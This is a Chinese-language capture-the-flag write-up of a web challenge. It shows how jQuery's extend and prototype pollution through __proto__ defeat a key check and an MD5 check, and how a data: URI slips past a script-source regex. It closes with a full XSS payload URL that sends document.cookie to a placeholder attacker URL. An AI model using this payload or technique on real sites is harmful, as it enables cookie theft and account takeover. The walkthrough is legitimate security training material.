题目描述
“Your Car broke down?! Come to our shop, we repair all cars! Even very old ones.” 传送门
题目分析
点开题目,右下角有个明显的链接get your cookie
, 是一个提交链接的界面
显然是dom-based xss
以下是关键代码
car.class.js
1 | class Car { |
util.js
1 | const cars = [bugatti, porsche] |
我们需要通过autoStart
修复bugatti
和porsche
这两辆车来执行repairWithHelper
函数以此来触发xss,我们需要解决以下问题
- 绕过 key == “🔑”来启动
bugatti
- 绕过 $.md5(porsche) == ‘9cdfb439c7876e703e307864c9167a15’来执行
repairWithHelper
函数 - 绕过
repairWithHelper
函数中的正则表达式来执行js
要解决第一个问题,我们发现了如下代码:
1 | repair() { |
这是jQuery
官方对extend
函数的定义:
这样我们就可以在url
中添加repair
参数来解决第一个问题:https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={"key":"🔑","}#BugattiPorsche
第二个问题似乎就没有这么简单,我们要使porsch
的md5为9cdfb439c7876e703e307864c9167a15
,实际上就是lol
的md5值,我们不妨直接计算porsche
的md5
发现其md5为[object Object]
的md5,这是为什么呢?
实际上调用md5函数之前会调用toString
方法,而porsche
又继承于Object
类,我们不妨改写此方法
和我们料想的一模一样,因此可以改写porsche
的toString
方法来绕过,然而JSON.parse
并不支持方法的解析,那怎么办呢?
我们就不得不了解一下js中的prototype
,什么是原型呢?
引用《JavaScript权威指南》的一段描述:
Every JavaScript object has a second JavaScript object (or null ,but this is rare) associated with it. This second object is known as a prototype, and the first object inherits properties from the prototype.
意思就是基本上每个js对象都有一个第二对象,这个对象就是原型,第一对象的所有属性都继承于原型。
当调用一个对象的属性或方法时,它首先会从当前对象所定义的属性和对象寻找,若是没有,则从所继承的对象寻找即从__proto__
寻找,若还是没有,则继续从__proto__.proto__
寻找,直至最后。简而言之,__proto__
所代表的就是所继承对象的原型,我们可以通过修改这个__proto__
来达到修改父类属性或方法的目的,甚至直接修改它的父类。
那么第二个问题就迎刃而解,我们将porsche
的父类的父类改为['lol']
,这样就会调用toString
返回lol
来绕过md5
检测。
payload: repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}
第三个问题我们需要绕过
1 | /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/; |
这个正则表达式,这个我们用data
协议绕过即可:data:[<mime type>][;charset=<charset>][;base64],<encoded data>
OK!以下是完整payload
1 | https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/a/,$.get('[your-url]'+document.cookie)//.js#Bugatti%20Porsche |
总结:
- 使用extend绕过key的检测
- 替换
porsche
的父类来绕过md5 - 使用data协议绕过src的正则表达式